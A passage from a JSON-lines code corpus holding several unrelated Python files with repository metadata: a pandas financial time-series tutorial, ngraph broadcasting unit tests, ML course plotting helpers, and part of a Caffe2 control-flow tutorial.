\u5f53\u5929\u6536\u76d8\u4ef7/\u524d\u4e00\u5929\u6536\u76d8\u4ef7 - 1 2\uff0c\n    # print((close_price / previous_close_price - 1).head())\n    # \u8ba1\u7b97\u7d2f\u8ba1\u6536\u76ca\u7387\n    cum_return = (close_price / previous_close_price - 1).cumprod()\n    # print(cum_return.head())\n\n    # 2- \u65f6\u95f4\u5e8f\u5217\u6570\u636e\u7684\u9891\u7387\u8c03\u6574\n    # 2.1- \u65f6\u95f4\u6570\u636e\u7684\u805a\u5408\n    # \u8ba1\u7b97\u67d0\u6708\u4e2d\u6bcf\u65e5\u6536\u76ca\u7387\u7684\u5e73\u5747\u503c\n    cum_return['2018-01'].mean()\n    # DataFrame.resample \u4e3b\u8981\u7528\u4e8e\u5347\u91c7\u6837\u548c\u964d\u91c7\u6837\u3002\n    cum_return.resample('M').mean().head()\n    cum_return.resample('M').ohlc().head()\n    # deprecated \u65b9\u6cd5\u5df2\u8fc7\u671f\n    # cum_return.resample('M', how='mean').head()\n\n    # 2.2- \u65f6\u95f4\u6570\u636e\u7684\u9891\u7387\u8f6c\u6362\n    sample = cum_return[1:3]\n    print(sample)\n    sample_by_hour = sample.resample('H')\n    print(sample_by_hour.size())\n    # print(sample_by_hour.head())\n\n    # 2.3- \u6570\u636e\u9891\u7387\u8f6c\u6362\u5e94\u7528\u5b9e\u6218\n    tushare_util.get_single_stock_data()\n\n\nif __name__ == '__main__':\n    # python_data_trans()\n    # time2str()\n    # str2time()\n    # pandas_time()\n    time_series_process()\n", "meta": {"hexsha": "2ce3092db59db1e782214c39b877a476e804c9c5", "size": 4436, "ext": "py", "lang": "Python", "max_stars_repo_path": "com/xiumei/time_series/fianance_time_series_data.py", "max_stars_repo_name": "struggle3014/aqf", "max_stars_repo_head_hexsha": "d0477075bd6d25d0de82acd9796a5a4e9e056b2e", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-02-07T15:08:12.000Z", "max_stars_repo_stars_event_max_datetime": "2020-04-14T09:48:07.000Z", "max_issues_repo_path": "com/xiumei/time_series/fianance_time_series_data.py", "max_issues_repo_name": "struggle3014/aqf", "max_issues_repo_head_hexsha": "d0477075bd6d25d0de82acd9796a5a4e9e056b2e", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "com/xiumei/time_series/fianance_time_series_data.py", "max_forks_repo_name": "struggle3014/aqf", "max_forks_repo_head_hexsha": "d0477075bd6d25d0de82acd9796a5a4e9e056b2e", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.3827160494, "max_line_length": 102, "alphanum_fraction": 0.646528404, "include": true, "reason": "import numpy", "num_tokens": 1616, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.392336815956846, "lm_q2_score": 0.1422318931919251, "lm_q1q2_score": 0.0558028081024341}}
{"text": "import numpy as np\nimport matplotlib.pyplot as plt\n\nx=np.linespace(0,10,1000)\ny=x\n\nfig, ax=plt.subplots()\nax.plot(x,y)\nax.set_xlabel('x')\nax.set_ylabel('y')\nfig.tight_layout()\n\n", "meta": {"hexsha": "622227a0e66dac86f4a3d798243f302dfd21b4ff", "size": 177, "ext": "py", "lang": "Python", "max_stars_repo_path": "python_plot.py", "max_stars_repo_name": "sadie2264/NU_REU_git_MDC", "max_stars_repo_head_hexsha": "f94ebcfc883e8d7d4cc98248a129a769c0e6aae5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "python_plot.py", "max_issues_repo_name": "sadie2264/NU_REU_git_MDC", "max_issues_repo_head_hexsha": "f94ebcfc883e8d7d4cc98248a129a769c0e6aae5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python_plot.py", "max_forks_repo_name": "sadie2264/NU_REU_git_MDC", "max_forks_repo_head_hexsha": "f94ebcfc883e8d7d4cc98248a129a769c0e6aae5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-07-08T19:15:08.000Z", "max_forks_repo_forks_event_max_datetime": "2019-07-08T19:15:08.000Z", "avg_line_length": 13.6153846154, "max_line_length": 31, "alphanum_fraction": 0.7231638418, "include": true, "reason": "import numpy", "num_tokens": 53, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.48047867804790695, "lm_q2_score": 0.11596072436426733, "lm_q1q2_score": 0.05571665554802088}}
{"text": "# ******************************************************************************\n# Copyright 2017-2018 Intel Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ******************************************************************************\n\"\"\"\nUnit tests for ngraph/frontends/tensorflow/tf_importer/utils\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport ngraph as ng\nimport pytest\nfrom ngraph.frontends.tensorflow.tf_importer.utils import np_layout_shuffle\nfrom ngraph.frontends.tensorflow.tf_importer.utils_broadcast import \\\n    broadcast_to, is_compatible_numpy_shape, is_compatible_broadcast_shape, \\\n    broadcasted_shape\nfrom ngraph.frontends.tensorflow.tf_importer.utils_pos_axes import make_pos_axes\nfrom ngraph.testing.execution import ExecutorFactory\n\n\ndef test_np_layout_shuffle():\n    # set up\n    bsz = 8\n    C, H, W, N = 3, 28, 28, bsz\n    C, R, S, K = 3, 5, 5, 32\n\n    # image dim-shuffle\n    np_tf_image = np.random.randn(N, H, W, C)\n    np_ng_image = np_layout_shuffle(np_tf_image, \"NHWC\", \"CDHWN\")\n    np_tf_image_reverse = np_layout_shuffle(np_ng_image, \"CDHWN\", \"NHWC\")\n    assert np.array_equal(np_tf_image, np_tf_image_reverse)\n\n    # filter dim-shuffle\n    np_tf_weight = np.random.randn(R, S, C, K)\n    np_ng_weight = np_layout_shuffle(np_tf_weight, \"RSCK\", \"CTRSK\")\n    np_tf_weight_reverse = np_layout_shuffle(np_ng_weight, \"CTRSK\", \"RSCK\")\n    assert np.array_equal(np_tf_weight, np_tf_weight_reverse)\n\n\n@pytest.mark.parametrize(\"test_case\", [\n    [(), (), True],\n    [(), (1, 2, 3), True],\n    [(1, 2), (2, 2), True],\n    [(3, 2), (2, 2), False],\n    [(2, 1, 2, 1), (1, 1, 3), True],\n    [(2, 1, 2, 1), (2, 1, 3), True],\n    [(2, 1, 2, 1), (1, 3, 1), False],\n])\ndef test_is_compatible_numpy_shape(test_case):\n    left_shape, right_shape, result = test_case\n    assert is_compatible_numpy_shape(left_shape, right_shape) == result\n\n\n@pytest.mark.parametrize(\"test_case\", [\n    [(), (), True],\n    [(), (1, 2, 3), True],\n    [(1, 2, 3), (), False],\n    [(1, 2), (2, 2), True],\n    [(2, 2), (1, 2), False],\n    [(3, 2), (2, 2), False],\n    [(2, 1, 2, 1), (1, 1, 3), False],\n    [(2, 1, 3), (2, 1, 2, 1), False],\n    [(2, 1, 3), (4, 2, 2, 3), True],\n    [(2, 1, 3), (4, 2, 2, 5), False]\n])\ndef test_is_compatible_broadcast_shape(test_case):\n    left_shape, right_shape, result = test_case\n    assert is_compatible_broadcast_shape(left_shape, right_shape) == result\n\n\n@pytest.config.flex_disabled(reason='Results mismatch')\n@pytest.mark.transformer_dependent\n@pytest.mark.parametrize(\"test_case\", [\n    [(), (1,)],\n    [(), (1, 2)],\n    [(1,), (2,)],\n    [(1,), (2, 1)],\n    [(1,), (3, 2)],\n    [(2,), (3, 2)],\n    [(1, 3, 1), (2, 3, 4)],\n    [(3, 1, 2), (4, 3, 5, 2)],\n    [(5, 1, 2, 1), (4, 5, 1, 2, 3)],\n])\ndef test_broadcast_to(test_case):\n    src_shape, dst_shape = test_case\n\n    # numpy results\n    x_np = np.array(np.random.rand(*src_shape))\n    f_np = x_np + np.zeros(dst_shape)\n\n    # ngraph results\n    x_ng = ng.constant(x_np, axes=make_pos_axes(x_np.shape))\n    f_ng = broadcast_to(x_ng, dst_shape)\n\n    with ExecutorFactory() as ex:\n        f_ng_comp = ex.transformer.computation(f_ng)\n        f_ng_val = f_ng_comp()\n        np.testing.assert_allclose(f_ng_val, f_np)\n\n\n@pytest.mark.parametrize(\"test_case\", [\n    [(), (), ()],\n    [(), (1,), (1,)],\n    [(1,), (), (1,)],\n    [(), (1, 2), (1, 2)],\n    [(1, 2), (), (1, 2)],\n    [(), (1, 2, 3), (1, 2, 3)],\n    [(1, 2), (2, 2), (2, 2)],\n    [(2, 1, 3), (4, 2, 2, 3), (4, 2, 2, 3)],\n])\ndef test_broadcasted_shape(test_case):\n    left_shape, right_shape, out_shape = test_case\n    assert (broadcasted_shape(left_shape, right_shape) == out_shape)\n", "meta": {"hexsha": "2e1a9c2c7ddc32d47b1579a4ec11034f77d5f689", "size": 4229, "ext": "py", "lang": "Python", "max_stars_repo_path": "ngraph/frontends/tensorflow/tests/test_utils.py", "max_stars_repo_name": "NervanaSystems/ngraph-python", "max_stars_repo_head_hexsha": "ac032c83c7152b615a9ad129d54d350f9d6a2986", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 18, "max_stars_repo_stars_event_min_datetime": "2018-03-19T04:16:49.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-08T14:44:58.000Z", "max_issues_repo_path": "ngraph/frontends/tensorflow/tests/test_utils.py", "max_issues_repo_name": "rsumner31/ngraph", "max_issues_repo_head_hexsha": "5e5c9bb9f24d95aee190b914dd2d44122fc3be53", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2019-04-16T06:41:49.000Z", "max_issues_repo_issues_event_max_datetime": "2019-05-06T14:08:13.000Z", "max_forks_repo_path": "ngraph/frontends/tensorflow/tests/test_utils.py", "max_forks_repo_name": "rsumner31/ngraph", "max_forks_repo_head_hexsha": "5e5c9bb9f24d95aee190b914dd2d44122fc3be53", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 11, "max_forks_repo_forks_event_min_datetime": "2018-06-16T15:59:08.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-06T00:45:30.000Z", "avg_line_length": 33.0390625, "max_line_length": 80, "alphanum_fraction": 0.6100733034, "include": true, "reason": "import numpy", "num_tokens": 1327, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.11596071978154188, "lm_q1q2_score": 0.05571665334611903}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nThis python file contains various of functions to generate plots.\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nfrom helpers import get_plot_path\n\n\"\"\" Lab 3 \"\"\"\n\n\ndef plot_fitted_curve(y, x, weights, ax):\n    \"\"\"plot the fitted curve. x, weights should align dimension \"\"\"\n    ax.scatter(x, y, color='b', s=12, facecolors='none', edgecolors='r')\n    xvals = np.arange(min(x) - 0.1, max(x) + 0.1, 0.1)\n    f = x.dot(weights)\n    ax.plot(xvals, f)\n    ax.set_xlabel(\"x\")\n    ax.set_ylabel(\"y\")\n    ax.set_title(\"Fitted curve for x y\")\n\n\ndef plot_train_test(train_errors, test_errors, names=['', ''], xlabel='', ylabel='',\n                    lambdas=None, filename=''):\n    \"\"\"\n    train_errors, test_errors and lambas should be list (of the same size) the respective train error and test error for a given lambda,\n    * lambda[0] = 1\n    * train_errors[0] = RMSE of a ridge regression on the train set\n    * test_errors[0] = RMSE of the parameter found by ridge regression applied on the test set\n\n    degree is just used for the title of the plot.\n    \"\"\"\n    plt.semilogx(lambdas, train_errors, color='b', marker='*', label=names[0])\n    plt.semilogx(lambdas, test_errors, color='r', marker='*', label=names[1])\n    plt.xlabel(xlabel)\n    plt.ylabel(ylabel)\n    plt.title(filename)\n    leg = plt.legend(loc=1, shadow=True)\n    leg.draw_frame(False)\n    plt.show()\n    plt.savefig(get_plot_path(\"train_test \" + filename))\n\n\n\"\"\" Lab 4 \"\"\"\n\n\ndef cross_validation_visualization(params, mse_tr, mse_te, params_name='', title='', error_name=''):\n    \"\"\"visualization the curves of mse_tr and mse_te.\"\"\"\n    plt.semilogx(params, mse_tr, marker=\".\", color='b', label='train error')\n    plt.semilogx(params, mse_te, marker=\".\", color='r', label='test error')\n    plt.xlabel(\"Parameters: \" + params_name)\n    plt.ylabel(\"Error: \" + error_name)\n    plt.title(\"cross validation\" + title)\n    plt.legend(loc=2)\n    plt.grid(True)\n    plt.savefig(get_plot_path(\"cross_validation_\" + title))\n    plt.show()\n\n\ndef cross_validation_visualization_due(params, mse_tr, mse_te, param2, tr2, te2, params_name='', prname2='', title='',\n                                       error_name=''):\n    \"\"\"visualization the curves of mse_tr and mse_te.\"\"\"\n    plt.semilogx(params, mse_tr, marker=\".\", color='r', label='train error ' + params_name, linestyle='solid')\n    plt.semilogx(params, mse_te, marker=\".\", color='r', label='test error ' + params_name, linestyle='dashed')\n    plt.semilogx(param2, tr2, marker=\".\", color='b', label='train error ' + prname2, linestyle='solid')\n    plt.semilogx(param2, te2, marker=\".\", color='b', label='test error ' + prname2, linestyle='dashed')\n    plt.xlabel(\"Parameters: \" + params_name + \" \" + prname2)\n    plt.ylabel(\"Error: \" + error_name)\n    plt.title(\"cross validation \" + title)\n    plt.legend(loc=2)\n    plt.grid(True)\n    plt.savefig(get_plot_path(\"cross_validation_\" + title))\n    plt.show()\n\n\n\ndef bias_variance_decomposition_visualization(models, rmse_tr, rmse_te, model_names=[]):\n    \"\"\"visualize the bias variance decomposition.\"\"\"\n    rmse_tr_mean = np.expand_dims(np.mean(rmse_tr, axis=0), axis=0)\n    rmse_te_mean = np.expand_dims(np.mean(rmse_te, axis=0), axis=0)\n    degrees = np.array(range(len(models)))\n    plt.plot(\n        degrees,\n        rmse_tr.T,\n        'b',\n        linestyle=\"-\",\n        color=([0.7, 0.7, 1]),\n        label='train',\n        linewidth=0.3)\n    plt.plot(\n        degrees,\n        rmse_te.T,\n        'r',\n        linestyle=\"-\",\n        color=[1, 0.7, 0.7],\n        label='test',\n        linewidth=0.3)\n    plt.plot(\n        degrees,\n        rmse_tr_mean.T,\n        'b',\n        linestyle=\"-\",\n        label='train',\n        linewidth=3)\n    plt.plot(\n        degrees,\n        rmse_te_mean.T,\n        'r',\n        linestyle=\"-\",\n        label='test',\n        linewidth=3)\n    # plt.ylim(0.2, 0.7)\n    plt.xlabel(\"degree\")\n    plt.ylabel(\"error\")\n    plt.title(\"Bias-Variance Decomposition\")\n    plt.savefig(get_plot_path(\"bias_variance\"))\n    plt.show()\n\n\ndef pca_plot(headers, pc1, pc2, title=''):\n    \"\"\" Plot pca accordingly \"\"\"\n    fig, ax = plt.subplots()\n    ax.scatter(pc1, pc2)\n    for i, name in enumerate(headers[2:]):\n        ax.annotate(name, (pc1[i], pc2[i]))\n\n    ax.set_xlabel(\"PC 1\")\n    ax.set_ylabel(\"PC 2\")\n    ax.set_title(\"PCA plot for data\")\n    fig.show()\n    fig.savefig(get_plot_path(\"pca_plot \" + title))\n\n\ndef pca_plot_general(headers, pcs, pcs2=None, index=(0, 1), title='', color=['b', 'r'], print_name=False):\n    pc1 = pcs[index[0]]\n    pc2 = pcs[index[1]]\n    fig, ax = plt.subplots()\n    sct = ax.scatter(pc1, pc2, color=color[0])\n    for i, name in enumerate(headers[2:]):\n        if not print_name:\n            ax.annotate('{}'.format(i - 2), (pc1[i], pc2[i]))\n        else:\n            ax.annotate('{}-'.format(i - 2) + name, (pc1[i], pc2[i]))\n\n    if pcs2 is not None:\n        fig.hold()\n        pc1 = pcs2[index[0]]\n        pc2 = pcs2[index[1]]\n        sct2 = ax.scatter(pcs2[index[0]], pcs2[index[1]], color=color[1])\n        for i, name in enumerate(headers[2:]):\n            if not print_name:\n                ax.annotate('{}'.format(i - 2), (pc1[i], pc2[i]))\n            else:\n                ax.annotate('{}-'.format(i - 2) + name, (pc1[i], pc2[i]))\n        fig.legend((sct, sct2), ('train', 'test'))\n\n    ax.set_xlabel(\"PC {}\".format(index[0]))\n    ax.set_ylabel(\"PC {}\".format(index[1]))\n    ax.set_title(\"PCA plot for data\")\n    fig.show()\n    fig.savefig(get_plot_path(\"pca_plot \" + title))\n\n\ndef histogram(label, data, headers=None, colors=['b', 'r'], print_name=True, transform=None, filename='Default.plt',\n              outlier=False):\n    \"\"\"\n    Build up histogram regarding to labels, via each dimensions.\n    Stored in the path: plots/histogram\n    :param ids:         index\n    :param label:       y\n    :param data:        data matrix\n    :param headers:     headers accordingly\n    :param print_name:  print name on the histogram\n    :return:\n    \"\"\"\n    hist_path = get_plot_path() + '/histogram/'\n    # Generate positive and negative index\n    negative_index = np.where(label < 0)[0]\n    positive_index = np.where(label > 0)[0]\n    nega_data = data[negative_index, :]\n    posi_data = data[positive_index, :]\n    if transform is None:\n        transform = [lambda x: x, lambda x: np.log(x + 0.01 - np.min(x)), lambda x: np.sqrt(np.abs(x)),\n                     lambda x: np.power(x, 2)]\n    trans_labels = ['linear', 'log', 'sqrt|abs|', 'power']\n    # Plot according to each dimensions\n    headers = headers[2:]\n    # Hard coded\n    gs = gridspec.GridSpec(2, 2)\n    assert len(headers) == len(data[0])\n    for index, header in enumerate(headers):\n        # fig, axs = plt.subplots(1, len(transform))\n        for f_ind, f_trans in enumerate(transform):\n            ax = plt.subplot(gs[int(f_ind / 2), f_ind % 2])\n            ax.set_aspect('auto')\n            if outlier:\n                ax.hist(f_trans(nega_data[:, index]).T, bins=100, color=colors[0], alpha=0.5)\n            else:\n                # nega_ind = np.where(nega_data[:, index] != -999.0)\n                ax.hist(f_trans(nega_data[np.where(nega_data[:, index] != -999.0)[0], index]).T,\n                        bins=100, color=colors[0], alpha=0.5)\n            ax.hold(True)\n            if outlier:\n                ax.hist(f_trans(posi_data[:, index]).T, bins=100, color=colors[1], alpha=0.8)\n            else:\n                ax.hist(f_trans(posi_data[np.where(posi_data[:, index] != -999.0)[0], index]).T,\n                        bins=100, color=colors[1], alpha=0.8)\n            if print_name:\n                ax.set_xlabel(\"{}({})\".format(trans_labels[f_ind], header))\n            else:\n                ax.set_xlabel(trans_labels[f_ind])\n            ax.hold(False)\n        plt.savefig(hist_path + \"{}-{}_{}.png\".format(filename, index, header))\n        plt.close()\n", "meta": {"hexsha": "1c26d91cba04d4537bcb0b033228dfa29f3927b9", "size": 7923, "ext": "py", "lang": "Python", "max_stars_repo_path": "projects/project1/scripts/plots.py", "max_stars_repo_name": "kcyu1993/ML_course_kyu", "max_stars_repo_head_hexsha": "99671281bcf83cbcd75d1c57772bdfdf79d28aff", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "projects/project1/scripts/plots.py", "max_issues_repo_name": "kcyu1993/ML_course_kyu", "max_issues_repo_head_hexsha": "99671281bcf83cbcd75d1c57772bdfdf79d28aff", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "projects/project1/scripts/plots.py", "max_forks_repo_name": "kcyu1993/ML_course_kyu", "max_forks_repo_head_hexsha": "99671281bcf83cbcd75d1c57772bdfdf79d28aff", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.6805555556, "max_line_length": 136, "alphanum_fraction": 0.5898018427, "include": true, "reason": "import numpy", "num_tokens": 2126, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.12085322457439825, "lm_q1q2_score": 0.05571536436279711}}
{"text": "#########################################################\n#\n# DO NOT EDIT THIS FILE. IT IS GENERATED AUTOMATICALLY. #\n# PLEASE LOOK INTO THE README FOR MORE INFORMATION.     #\n#\n#########################################################\n\n\n# coding: utf-8\n\n# # Control Ops Tutorial\n# \n# In this tutorial we show how to use control flow operators in Caffe2 and give some details on their underlying implementations.\n\n# ### Conditional Execution\n\n# Let's start with conditional operator. We will demostrate how to use it in two Caffe2 APIs used for building nets: NetBuilder and Brew.\n\n# In the first example, we first define several blobs and then use 'If' operator to set value of one of them conditionally depending on values of other blobs.\n\n# In[1]:\n\n\nfrom caffe2.python import workspace\nfrom caffe2.python.core import Plan, to_execution_step, Net\nfrom caffe2.python.net_builder import ops, NetBuilder\n\n\n# In[2]:\n\n\nwith NetBuilder() as nb:\n    ops.Const(0.0, blob_out=\"zero\")\n    ops.Const(1.0, blob_out=\"one\")\n    ops.Const(0.5, blob_out=\"x\")\n    ops.Const(0.0, blob_out=\"y\")\n    with ops.IfNet(ops.GT([\"x\", \"zero\"])):\n        ops.Copy(\"one\", \"y\")\n    with ops.Else():\n        ops.Copy(\"zero\", \"y\")\n\n\n# Note the usage of NetBuilder's ops.IfNet and ops.Else calls: ops.IfNet accepts a blob reference or blob name as an input, it expects an input blob to have a scalar value convertible to bool, also note that optional ops.Else is at the same level as ops.IfNet and immediately follows corresponding ops.IfNet. Let's execute resulting net (execution step) and check values of blobs.\n\n# In[3]:\n\n\nplan = Plan('if_net_test')\nplan.AddStep(to_execution_step(nb))\nws = workspace.C.Workspace()\nws.run(plan)\nprint('x = ', ws.blobs[\"x\"].fetch())\nprint('y = ', ws.blobs[\"y\"].fetch())\n\n\n# Before going further, it's important to understand the semantics of execution blocks ('then' and 'else' branches in the example above), i.e. handling of reads and writes into global (defined outside of the block) and local (defined inside the block) blobs.\n\n# NetBuilder's uses the following set of rules:\n#  - In NetBuilder's syntax, blob's declaration and definition occur at the same time - when we define an operator which writes its output into a blob with a given name;\n#  - NetBuilder keeps track of all operator outputs seen before current execution point in the same block and up the stack in parent blocks.\n#  - If an operator writes into a previously unseen blob, it creates a **local** blob that is visible only within the current block and the subsequent children blocks. Local blobs created in a given block are effectively deleted when we exit the block. Any write into previously defined (in the same block or in the parent blocks) blob updates an originally created blob and does not result in the redefinition of a blob.\n#  - Operator's input blobs have to be defined earlier in the same block or in the parent blocks up the stack. \n\n# As a result, in order to see values computed by a block after the block is finished the corresponding blobs have to be defined outside of the block. Note, that this is one of the ways to solve the problem with uninitialized blobs (e.g. blob created by 'then' branch, but not by 'else' branch), these rules effectively force visible blobs to be always correctly initialized.\n\n# To illustrate concepts of block semantics and provide a more sophisticated example, let's consider the following net:\n\n# In[4]:\n\n\nwith NetBuilder() as nb:\n    ops.Const(0.0, blob_out=\"zero\")\n    ops.Const(1.0, blob_out=\"one\")\n    ops.Const(2.0, blob_out=\"two\")\n    ops.Const(1.5, blob_out=\"x\")\n    ops.Const(0.0, blob_out=\"y\")\n    with ops.IfNet(ops.GT([\"x\", \"zero\"])):\n        ops.Copy(\"x\", \"local_blob\")\n        with ops.IfNet(ops.LE([\"local_blob\", \"one\"])):\n            ops.Copy(\"one\", \"y\")\n        with ops.Else():\n            ops.Copy(\"two\", \"y\")\n    with ops.Else():\n        ops.Copy(\"zero\", \"y\")\n        # ops.Copy(\"local_blob\", \"z\") - fails with exception during net construction, local_blob is undefined\n\n\n# In[5]:\n\n\nplan = Plan('if_net_test_2')\nplan.AddStep(to_execution_step(nb))\nws = workspace.C.Workspace()\nws.run(plan)\nprint('x = ', ws.blobs[\"x\"].fetch())\nprint('y = ', ws.blobs[\"y\"].fetch())\nassert \"local_blob\" not in ws.blobs\n\n\n# Brew is another Caffe2 interface used to construct nets. Unlike NetBuilder, Brew does not track the hierarchy of blocks and, as a result, we need to specify which blobs are considered local and which global when passing 'then' and 'else' models to an API call:\n\n# In[6]:\n\n\nfrom caffe2.python import brew\nfrom caffe2.python.workspace import FeedBlob, RunNetOnce, FetchBlob\nfrom caffe2.python.model_helper import ModelHelper\n\n\n# In[7]:\n\n\nmodel = ModelHelper(name=\"test_if_model\")\n\nmodel.param_init_net.ConstantFill([], [\"zero\"], shape=[1], value=0.0)\nmodel.param_init_net.ConstantFill([], [\"one\"], shape=[1], value=1.0)\nmodel.param_init_net.ConstantFill([], [\"x\"], shape=[1], value=0.5)\nmodel.param_init_net.ConstantFill([], [\"y\"], shape=[1], value=0.0)\nmodel.param_init_net.GT([\"x\", \"zero\"], \"cond\")\n\nthen_model = ModelHelper(name=\"then_test_model\")\nthen_model.net.Copy(\"one\", \"y\")\n\nelse_model = ModelHelper(name=\"else_test_model\")\nelse_model.net.Copy(\"zero\", \"y\")\n\nbrew.cond(\n    model=model,\n    cond_blob=\"cond\", # blob with condition value\n    external_blobs=[\"x\", \"y\", \"zero\", \"one\"], # writes into these blobs update existing blobs\n    then_model=then_model,\n    else_model=else_model)\n\n\n# To run resulting init and main net:\n\n# In[8]:\n\n\nRunNetOnce(model.param_init_net)\nRunNetOnce(model.net)\nprint(\"x = \", FetchBlob(\"x\"))\nprint(\"y = \", FetchBlob(\"y\"))\n\n\n# ### Loops\n\n# Another important control flow operator is 'While' that allows repeated execution of a fragment of net. Let's consider NetBuilder's version of While first.\n\n# In[9]:\n\n\nwith NetBuilder() as nb:\n    ops.Const(0, blob_out=\"i\")\n    ops.Const(0, blob_out=\"y\")\n    with ops.WhileNet():\n        with ops.Condition():\n            ops.Add([\"i\", ops.Const(1)], [\"i\"])\n            ops.LE([\"i\", ops.Const(7)])\n        ops.Add([\"i\", \"y\"], [\"y\"])\n\n\n# This example illustrates the usage of 'while' loop with NetBuilder. As with an 'If' operator, standard block semantic rules apply. Note the usage of ops.Condition clause that should immediately follow ops.WhileNet and contains code that is executed before each iteration. The last operator in the condition clause is expected to have a single boolean output that determines whether the other iteration is executed.\n\n# In the example above we increment the counter (\"i\") before each iteration and accumulate its values in \"y\" blob, the loop's body is executed 7 times, the resulting blob values:\n\n# In[10]:\n\n\nplan = Plan('while_net_test')\nplan.AddStep(to_execution_step(nb))\nws = workspace.C.Workspace()\nws.run(plan)\nprint(\"i = \", ws.blobs[\"i\"].fetch())\nprint(\"y = \", ws.blobs[\"y\"].fetch())\n\n\n# Corresponding Brew example:\n\n# In[11]:\n\n\nmodel = ModelHelper(name=\"test_while_model\")\n\nmodel.param_init_net.ConstantFill([], [\"i\"], shape=[1], value=0)\nmodel.param_init_net.ConstantFill([], [\"one\"], shape=[1], value=1)\nmodel.param_init_net.ConstantFill([], [\"seven\"], shape=[1], value=7)\nmodel.param_init_net.ConstantFill([], [\"y\"], shape=[1], value=0)\n\nloop_model = ModelHelper(name=\"loop_test_model\")\nloop_model.net.Add([\"i\", \"y\"], [\"y\"])\n\ncond_model = ModelHelper(name=\"cond_test_model\")\ncond_model.net.Add([\"i\", \"one\"], \"i\")\ncond_model.net.LE([\"i\", \"seven\"], \"cond\")\n\nbrew.loop(\n    model=model,\n    cond_blob=\"cond\", # explicitly specifying condition blob\n    external_blobs=[\"cond\", \"i\", \"one\", \"seven\", \"y\"],\n    loop_model=loop_model,\n    cond_model=cond_model # condition model is optional\n)\n\n\n# Corresponding blob values:\n\n# In[12]:\n\n\nRunNetOnce(model.param_init_net)\nRunNetOnce(model.net)\nprint(\"i = \", FetchBlob(\"i\"))\nprint(\"y = \", FetchBlob(\"y\"))\n\n\n# ### Backpropagation\n\n# Both 'If' and 'While' operators support backpropagation. To illustrate how backpropagation with control ops work, let's consider the following example:\n\n# In[14]:\n\n\nimport numpy as np\n# _use_control_ops=True forces NetBuilder to output single net as a result\n# x is external for NetBuilder, so letting nb know about it through initial_scope param\nFeedBlob(\"x\", np.array(0.5, dtype='float32'))\nwith NetBuilder(_use_control_ops=True, initial_scope=[\"x\"]) as nb:\n    ops.Const(0.0, blob_out=\"zero\")\n    ops.Const(1.0, blob_out=\"one\")\n    ops.Const(4.0, blob_out=\"y\")\n    ops.Const(0.0, blob_out=\"z\")\n    with ops.IfNet(ops.GT([\"x\", \"zero\"])):\n        ops.Pow(\"y\", \"z\", exponent=2.0)\n    with ops.Else():\n        ops.Pow(\"y\", \"z\", exponent=3.0)\n\nassert len(nb.get()) == 1, \"Expected a single net produced\"\nnet = nb.get()[0]\ngrad_map = net.AddGradientOperators([\"z\"])\n\n\n# Output blob \"z\" as a function of \"y\" depends on the value of blob \"x\", if \"x\" is greater than zero, than \"z = y^2\", otherwise it is \"z = y^3\"\n\n# In[15]:\n\n\nRunNetOnce(net)\nprint(\"x = \", FetchBlob(\"x\"))\nprint(\"y = \", FetchBlob(\"y\"))\nprint(\"z = \", FetchBlob(\"z\"))\nprint(\"y_grad = \", FetchBlob(\"y_grad\"))\n\n\n# Now, let's change value of blob \"x\" and rerun net:\n\n# In[16]:\n\n\nFeedBlob(\"x\", np.array(-0.5, dtype='float32'))\nRunNetOnce(net)\nprint(\"x = \", FetchBlob(\"x\"))\nprint(\"y = \", FetchBlob(\"y\"))\nprint(\"z = \", FetchBlob(\"z\"))\nprint(\"y_grad = \", FetchBlob(\"y_grad\"))\n\n\n# An example illustrating backpropagation on the loop:\n\n# In[17]:\n\n\nwith NetBuilder(_use_control_ops=True) as nb:\n    